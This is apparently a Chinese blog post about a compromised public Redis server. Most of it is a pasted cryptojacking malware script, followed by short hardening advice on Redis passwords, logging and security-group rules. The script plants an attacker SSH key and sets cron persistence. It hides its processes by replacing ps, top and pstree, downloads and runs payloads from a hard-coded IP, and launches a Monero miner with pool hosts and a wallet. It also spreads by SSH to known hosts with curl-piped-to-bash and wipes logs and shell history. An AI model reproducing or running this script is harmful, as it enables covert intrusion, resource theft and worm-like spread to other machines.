-rf /tmp/j2.confrm -rf /tmp/.mynews1234rm -rf /tmp/a3e12drm -rf /tmp/.ptrm -rf /tmp/.pt.tgzrm -rf /tmp/.pt.tgz.1rm -rf /tmp/gorm -rf /tmp/javarm -rf /tmp/j2.confrm -rf /tmp/.tmpnewasssrm -rf /tmp/javarm -rf /tmp/go.shrm -rf /tmp/go2.shrm -rf /tmp/khugepagedsrm -rf /tmp/.censusqqqqqqqqqrm -rf /tmp/.kerberodsrm -rf /tmp/kerberodsrm -rf /tmp/seasamerm -rf /tmp/touchrm -rf /tmp/.prm -rf /tmp/runtime2.shrm -rf /tmp/runtime.shrm -rf /dev/shm/z3.shrm -rf /dev/shm/z2.shrm -rf /dev/shm/.scrrm -rf /dev/shm/.kerberodsrm -f /etc/ld.so.preloadrm -rf /etc/systemd/system/systemde.service*rm -f /etc/ld.so.preloadrm -f /usr/local/lib/libioset.sochattr -i /etc/ld.so.preloadrm -f /etc/ld.so.preloadsystemctl stop moneroocean_miner.servicesystemctl stop systemde.servicerm -f /usr/local/lib/libioset.sorm -rf /tmp/watchdogsrm -rf /etc/cron.d/tomcatrm -rf /etc/rc.d/init.d/watchdogsrm -rf /usr/sbin/watchdogsrm -f /tmp/kthrotldsrm -f /etc/rc.d/init.d/kthrotldsrm -rf /tmp/.sysbabyuuuuu12rm -rf /tmp/logo9.jpgrm -rf /tmp/miner.shrm -rf /tmp/nullcrewrm -rf /tmp/procrm -rf /tmp/2.shrm /opt/atlassian/confluence/bin/1.shrm /opt/atlassian/confluence/bin/1.sh.1rm /opt/atlassian/confluence/bin/1.sh.2rm /opt/atlassian/confluence/bin/1.sh.3rm /opt/atlassian/confluence/bin/3.shrm /opt/atlassian/confluence/bin/3.sh.1rm /opt/atlassian/confluence/bin/3.sh.2rm /opt/atlassian/confluence/bin/3.sh.3rm -rf /var/tmp/f41rm -rf /var/tmp/2.shrm -rf /var/tmp/config.jsonrm -rf /var/tmp/xmrigrm -rf /var/tmp/1.sorm -rf /var/tmp/kworkerds3rm -rf /var/tmp/kworkerdssxrm -rf /var/tmp/kworkerdsrm -rf /var/tmp/wc.confrm -rf /var/tmp/nadezhda.rm -rf /var/tmp/nadezhda.armrm -rf /var/tmp/nadezhda.arm.1rm -rf /var/tmp/nadezhda.arm.2rm -rf /var/tmp/nadezhda.x86_64rm -rf /var/tmp/nadezhda.x86_64.1rm -rf /var/tmp/nadezhda.x86_64.2rm -rf /var/tmp/sustse3rm -rf /var/tmp/sustserm -rf /var/tmp/moneroocean/rm -rf /var/tmp/devtoolrm -rf /var/tmp/devtoolsrm -rf /var/tmp/play.shrm -rf /var/tmp/systemctIrm -rf /var/tmp/.javarm -rf /var/tmp/1.shrm -rf /var/tmp/conf.nrm -r /var/tmp/librm -r /var/tmp/.librm -rf /opt/systemd-service.shrm -rf /opt/.systemd-service.shrm -rf /root/.systemd-service.shrm -rf /usr/share/\[crypto\]chattr -R -ia /usr/bin/TeamTNT/*chattr -R -ia /usr/bin/watchdogd*rm -rf /usr/bin/watchdogd*service crypto stopsystemctl stop crypto.servicesystemctl stop watchdogd service watchdogd stoprm -fr /usr/bin/TeamTNT/*chattr -iau /tmp/lokchmod +700 /tmp/lokrm -rf /tmp/loksleep 1chattr -i /tmp/kdevtmpfsiecho 1 > /tmp/kdevtmpfsichattr +i /tmp/kdevtmpfsisleep 1chattr -i /usr/lib/systemd/systemd-update-dailyecho 1 > /usr/lib/systemd/systemd-update-dailychattr +i /usr/lib/systemd/systemd-update-daily>/tmp/svcupdate>/tmp/svcguard>/etc/svcupdate>/etc/svcguard>/etc/cron.daily/logrotate>/etc/cron.hourly/0anacron>/etc/rc.d/rc.local#yum install -y docker.io || apt-get install docker.io;docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill %docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill %docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f %docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %#echo SELINUX=disabled >/etc/selinux/configservice apparmor stopsystemctl disable apparmorservice aliyun.service stopsystemctl disable aliyun.serviceps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %rm -rf /usr/local/aegischattr -R -ia /var/spool/cronchattr -ia /etc/crontabchattr -R -ia /etc/cron.dchattr -R -ia /var/spool/cron/crontabscrontab -rrm -rf /var/spool/cron/*rm -rf /etc/cron.d/*rm -rf /var/spool/cron/crontabsrm -rf /etc/crontab}kill_miner_prockill_sus_proc(){    ps axf -o "pid"|while read procid    do            ls -l /proc/$procid/exe | grep /tmp            if [ $? -ne 1 ]            then                    cat /proc/$procid/cmdline| grep -a -E "zzh"                    if [ $? -ne 0 ]                    then                            kill -9 $procid                    else                            echo "don't kill"                    fi            fi    done    ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid    do            cat /proc/$procid/cmdline| grep -a -E "zzh"            if [ $? -ne 0 ]            then                    kill -9 $procid            else                    echo "don't kill"            fi    done}kill_sus_procnameserver(){  grep -q 1.1.1.1 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 1.1.1.1" >> /etc/resolv.conf; chattr +i /etc/resolv.conf 2>/dev/null 1>/dev/null}nameserverfuckyou(){$(docker rm $(docker ps | grep -v grep | grep "/root/startup.sh" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)$(docker rm $(docker ps | grep -v grep | grep "widoc26117/xmr" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)$(docker rm $(docker ps | grep -v grep | grep "zbrtgwlxz" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)$(docker rm $(docker ps | grep -v grep | grep "tail -f /dev/null" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)$(docker rm $(docker ps | grep -v grep | grep "/usr/bin/supervisor…" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)$(docker rm $(docker ps | grep -v grep | grep "/app/BitLockerServi…" | awk '{print $1}') -f 2>/dev/null 1>/dev/null)rm -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/nullpkill -f /tmp/moneroocean/xmrig 2>/dev/null 1>/dev/nullrm -fr /tmp/moneroocean/ 2>/dev/null 1>/dev/nullkillall -9 xmrig 2>/dev/null 1>/dev/nullif [ -f /root/.tmp/xmrig ]; thenchattr -iR /root/.tmp/ 2>/dev/null 1>/dev/nulltmpxmrigfile="/root/.tmp/miner.sh"rm -f $tmpxmrigfile 2>/dev/null 1>/dev/nullpkill -f $tmpxmrigfile 2>/dev/null 1>/dev/nullkill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/nullchmod +x $tmpxmrigfile 2>/dev/null 1>/dev/nullchattr +i $tmpxmrigfile 2>/dev/null 1>/dev/nullpkill -f $tmpxmrigfile 2>/dev/null 1>/dev/nullkill $(pidof $tmpxmrigfile) 2>/dev/null 1>/dev/nullkillall $tmpxmrigfile 2>/dev/null 1>/dev/nullchmod -x /root/.tmp/xmrig 2>/dev/null 1>/dev/nullrm -f /root/.tmp/xmrig 2>/dev/null 1>/dev/nullchattr +i /root/.tmp/xmrig 2>/dev/null 1>/dev/nullpkill -f /root/.tmp/xmrig 2>/dev/null 1>/dev/nullps ax| grep xmrig 2>/dev/null 1>/dev/nullfiKINSING1=$(ps ax | grep -v grep |  grep "/var/tmp/kinsing")if [ ! -z "$KINSING1" ];thenchattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/nullchmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/nullpkill -f /var/tmp/kinsing 2>/dev/null 1>/dev/nullkill $(ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk '{print $1}') 2>/dev/null 1>/dev/nullkill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/nullecho " " > /var/tmp/kinsing 2>/dev/null 1>/dev/nullrm -f /var/tmp/kinsing 2>/dev/null 1>/dev/nullecho "fuckyou" > /var/tmp/kinsingchattr +i /var/tmp/kinsing 2>/dev/null 1>/dev/nullhistory -c 2>/dev/null 1>/dev/nullfiKINSING2=$(ps ax | grep -v grep |  grep "/tmp/kdevtmpfsi")if [ ! -z "$KINSING2" ];thenchattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/nullchmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/nullpkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/nullkill $(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi" | awk '{print $1}') 2>/dev/null 1>/dev/nullkill $(pidof /tmp/kdevtmpfsi) 2>/dev/null 1>/dev/nullecho " " > /tmp/kdevtmpfsi 2>/dev/null 1>/dev/nullrm -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/nullecho "fuckyou" > /tmp/kdevtmpfsichattr +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/nullhistory -c 2>/dev/null 1>/dev/nullfi}fuckyoudownloads(){    if [ -f "/usr/bin/curl" ]    then   echo $1,$2        http_code=`curl -I -m 50 -o /dev/null -s -w %{http_code} $1`        if [ "$http_code" -eq "200" ]        then            curl --connect-timeout 100 --retry 100 $1 > $2        elif [ "$http_code" -eq "405" ]        then            curl --connect-timeout 100 --retry 100 $1 > $2        else            curl --connect-timeout 100 --retry 100 $3 > $2        fi    elif [ -f "/usr/bin/cd1" ]    then        http_code=`cd1 -I -m 50 -o /dev/null -s -w %{http_code} $1`        if [ "$http_code" -eq "200" ]        then            cd1 --connect-timeout 100 --retry 100 $1 > $2        elif [ "$http_code" -eq "405" ]        then            cd1 --connect-timeout 100 --retry 100 $1 > $2        else            cd1 --connect-timeout 100 --retry 100 $3 > $2        fi    elif [ -f "/usr/bin/wget" ]    then        wget --timeout=50 --tries=100 -O $2 $1        if [ $? -ne 0 ]  then    wget --timeout=100 --tries=100 -O $2 $3        fi    elif [ -f "/usr/bin/wd1" ]    then        wd1 --timeout=100 --tries=100 -O $2 $1        if [ $? -eq 0 ]        then            wd1 --timeout=100 --tries=100 -O $2 $3        fi    fi}unlock_cron(){    chattr -R -ia /var/spool/cron    chattr -ia /etc/crontab    chattr -R -ia /var/spool/cron/crontabs    chattr -R -ia /etc/cron.d}lock_cron(){    chattr -R +ia /var/spool/cron    chattr +ia /etc/crontab    chattr -R +ia /var/spool/cron/crontabs    chattr -R +ia /etc/cron.d}if [ -f "$rtdir" ]then        echo "i am root"        mkdir -p /root/.ssh        echo "goto 1" >> /etc/zzhs        chattr -ia /etc/zzh*        chattr -ia /etc/newinit.sh*        chattr -ia /root/.ssh/authorized_keys*        chattr -R -ia /root/.ssh    if [ -f "/bin/ps.original" ]    then        echo "/bin/ps changed"    else        mv /bin/ps /bin/ps.original         echo "#! /bin/bash">>/bin/ps        echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps        chmod +x /bin/ps    touch -d 20160825 /bin/ps        echo "/bin/ps changing"    fi    if [ -f "/bin/top.original" ]    then        echo "/bin/top changed"    else        mv /bin/top /bin/top.original         echo "#! /bin/bash">>/bin/top        echo "top.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/top        chmod +x /bin/top    touch -d 20160825 /bin/top        echo "/bin/top changing"    fi    if [ -f "/bin/pstree.original" ]    then        echo "/bin/pstree changed"    else        mv /bin/pstree /bin/pstree.original         echo "#! /bin/bash">>/bin/pstree        echo "pstree.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/pstree        chmod +x /bin/pstree    touch -d 20160825 /bin/pstree        echo "/bin/pstree changing"    fi    if [ -f "/bin/chattr" ]  then    chattrsize=`ls -l /bin/chattr | awk '{ print $5 }'`    if [ "$chattrsize" -lt "$chattr_size" ]    then      yum -y remove e2fsprogs            yum -y install e2fsprogs    else      echo "no need install chattr"    fi  else      yum -y remove e2fsprogs            yum -y install e2fsprogs    fi      unlock_cron                        rm -f ${crondir}                        rm -f /etc/cron.d/zzh                        rm -f /etc/crontab      echo "*/30 * * * * sh /etc/newinit.sh >/dev/null 2>&1" >> ${crondir}      echo "*/40 * * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/cron.d/zzh      echo "0 1 * * * root sh /etc/newinit.sh >/dev/null 2>&1" >> /etc/crontab                        echo crontab created      lock_cron        chmod 700 /root/.ssh/        echo >> /root/.ssh/authorized_keys        chmod 600 /root/.ssh/authorized_keys        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UT/sdy563H+e1cQD6LRA9lgyBO8VBOuyjlPf/rdYeXZRv9eFZ4ROGCOX/dvNzV9XdEyPX+znEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVv+kIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5/V/iO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlx+dJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9IS/ofX9p8zIVKLUHMUNC9mKqPljzxH/3wYnOZrgebS4uwfyad+6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0= uc1" > /root/.ssh/authorized_keys        cd1 http://195.242.111.238/cleanfda/call.txt        wget -q -O- http://195.242.111.238/cleanfda/call.txt                  file="/etc/zzh"        if [ -f "/etc/zzh" ]    then            filesize1=`ls -l /etc/zzh | awk '{ print $5 }'`            if [ "$filesize1" -ne "$miner_size" ]             then                pkill -f zzh                rm /etc/zzh                downloads $miner_url /etc/zzh $miner_url_backup            else                echo "not need download"            fi    else            downloads $miner_url /etc/zzh $miner_url_backup    fi    downloads $sh_url /etc/newinit.sh $sh_url_backup    chmod 777 /etc/zzh    if [ -f "/bin/ps.original" ]    then        ps.original -fe|grep zzh |grep -v grep    else        ps -fe|grep zzh |grep -v grep    fi    if [ $? -ne 0 ]    then                cd /etc                echo "not root runing"                sleep 5s                              ./zzh --log-file=/etc/etc --keepalive --no-color --cpu-priority 5 -o dev.fugglesoft.me:5443 --tls --nicehash --coin monero -o 80.211.206.105:9000 -u 88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z.22 --tls --coin monero -o opn.en2an.top:5443 --tls --nicehash --coin monero --background &    else                echo "root runing....."    fi    chmod 777 /etc/zzh    chattr +ia /etc/zzh    chmod 777 /etc/newinit.sh    chattr +ia /etc/newinit.sh    chmod 600 /root/.ssh/authorized_keys    chattr +ia /root/.ssh/authorized_keyselse    echo "goto 1" > /tmp/zzhs    chattr -ia /tmp/zzh*    chattr -ia /tmp/newinit.sh*            if [ ! -f "/usr/bin/crontab" ]  then      unlock_cron      echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1" >> ${crondir}      lock_cron  else      unlock_cron      [[ $cont =~ "newinit.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /tmp/newinit.sh >/dev/null 2>&1") | crontab -      lock_cron  fi    if [ -f "/tmp/zzh" ]    then            filesize1=`ls -l /tmp/zzh | awk '{ print $5 }'`        if [ "$filesize1" -ne "$miner_size" ]         then                pkill -f zzh                rm /tmp/zzh                downloads $miner_url /tmp/zzh $miner_url_backup        else                echo "no need download"        fi    else            downloads $miner_url /tmp/zzh $miner_url_backup    fi    echo "i am here"    downloads $sh_url /tmp/newinit.sh $sh_url_backup    ps -fe|grep zzh |grep -v grep        if [ $? -ne 0 ]            then                echo "not tmp runing"                cd /tmp                chmod 777 zzh                sleep 5s                           ./zzh --log-file=/tmp/tmp --keepalive --no-color --cpu-priority 5 -o dev.fugglesoft.me:5443 --tls --nicehash --coin monero -o 80.211.206.105:9000 -u 88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z.22 --tls --coin monero -o opn.en2an.top:5443 --tls --nicehash --coin monero --background &            else                echo "tmp runing....."        fi    chmod 777 /tmp/zzh    chattr +i /tmp/zzh    chmod 777 /tmp/newinit.sh    chattr +i /tmp/newinit.sh        fiiptables -Fiptables -Xiptables -A OUTPUT -p tcp --dport 5555 -j DROPiptables -A OUTPUT -p tcp --dport 7777 -j DROPiptables -A OUTPUT -p tcp --dport 9999 -j DROPiptables -A OUTPUT -p tcp --dport 9999 -j DROPiptables -A OUTPUT -p tcp --dport 10008 -j DROPservice iptables reloadhistory -cecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secureecho > /root/.bash_historychmod 444 /usr/bin/chattrchmod 444 /bin/chattryum install -y bash 2>/dev/nullapt install -y bash 2>/dev/nullapt-get install -y bash 2>/dev/nullif [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'curl -o-  http://195.242.111.238/cleanfda/init.sh | bash >/dev/null 2>&1 &' & donefiif [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'cd1 -o-  http://195.242.111.238/cleanfda/init.sh | bash >/dev/null 2>&1 &' & donefiecho "$bbdir"echo "$bbdira"$bbdir -fsSL http://195.242.111.238/cleanfda/is.sh | bash$bbdira -fsSL http://195.242.111.238/cleanfda/is.sh | bash

预防问题再次出现

redis设置密码

编辑配置文件

vi /opt/myredis/redis.conf

设置密码如下：

requirepass heikeshizhenqian

redis日志文件配置好

编辑配置文件

vi /opt/myredis/redis.conf

配置日志位置：

logfile "/opt/myredis/logs/redis.log"

启动redis：

redis-server /opt/myredis/redis.conf

安全组开放给指定ip

不要在安全组配置0.0.0.0/0,能确定入方向的ip就一定配置ip，更稳妥的方式是，连同出方向ip也配置好，不能给他们一点机会啊。

关于此次的风险问题算是临时解决了，最后我还是决定把我的服务器还原一遍，因为漏洞攻击的有些配置，临时文件还残留在服务器上。

最后奉劝大家，公网的redis，一定要设置好密码，且是复杂密码。

本文地址：http://0561fc.cn/195757.html